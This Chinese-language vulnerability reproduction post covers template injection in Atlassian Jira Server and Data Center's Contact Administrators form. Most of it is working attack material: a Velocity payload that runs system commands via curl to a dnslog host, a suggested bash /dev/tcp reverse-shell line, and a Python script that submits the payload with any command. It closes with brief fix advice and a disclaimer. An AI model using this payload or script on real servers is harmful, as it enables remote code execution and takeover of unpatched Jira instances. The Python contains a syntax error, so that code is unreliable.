简介
Jira Software 专为软件团队中的每位成员构建,可用于规划、跟踪和发布卓越的软件。
此漏洞由于Atlassian Jira中的Atlassian Jira Server和Jira Data Center模块存在模板注入,攻击者可以在表单插入java恶意代码,当服务端对传入数据进行解析时,会执行数据中插入的恶意代码,并执行其中的命令。可接管服务器。
影响版本
Atlassian Jira 4.4.x 5.x.x 6.x.x 7.x.x
Atlassian Jira < 8.2.3
漏洞复现
- 利用条件
后台开启联系管理员
访问url后填写内容,主题填写poc后点击发送
/secure/ContactAdministrators!default.jspa
稍等一会儿刷新DNSLog,可以查看到存在数据访问
poc
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl baekig.dnslog.cn').waitFor()
exec 里可以执行命令,笔者是借助dnslog进行测试,
读者在linux环境下可以使用 bash -i >& /dev/tcp/主机ip/port 0>&1
反弹shell。
附:某大老的检测poc
import requests
from bs4 import BeautifulSoup
def check(url,cmd):
headers = {'UserAgent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0'}
domain = url + '/secure/ContactAdministrators!default.jspa'
s = requests.Session()
r = s.get(domain, verify=False,timeout=12)
html_doc = r.content
soup = BeautifulSoup(html_doc, 'lxml')
notvuln = soup.findAll("div", {"class": "aui-message aui-message-warning warningd"})
if notvuln:
print("[-] Not Vulnerable")
return False
else:
print("[+] Checking if Vulnerable")
html_doc = r.content
soup = BeautifulSoup(html_doc, 'lxml')
data = soup.findAll(attrs={"name": "atl_token"})
token = data[0]['value']
domain = domain.replace('!default.jspa', '.jspa')
payload = "$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('%s').waitFor()" % cmd
qparams = (('from', 'JIRA@JIRA.com'), ('subject', payload), ('details', payload), ('atl_token', token),
('Send', 'Send'))
attack = s.post(domain, headers=headers, data=qparams, verify=False,timeout=12)
return attack.status_code == 200:
if __name__ == '__main__':
check('xxxx','curl qbocy6.dnslog.cn')
修复建议
关闭联系管理员功能,升级版本
注意:本文仅供学习参考,非法传播及使用产生的后果自行承担,与本文作者无关
欢迎讨论,持续更新中,感谢关注!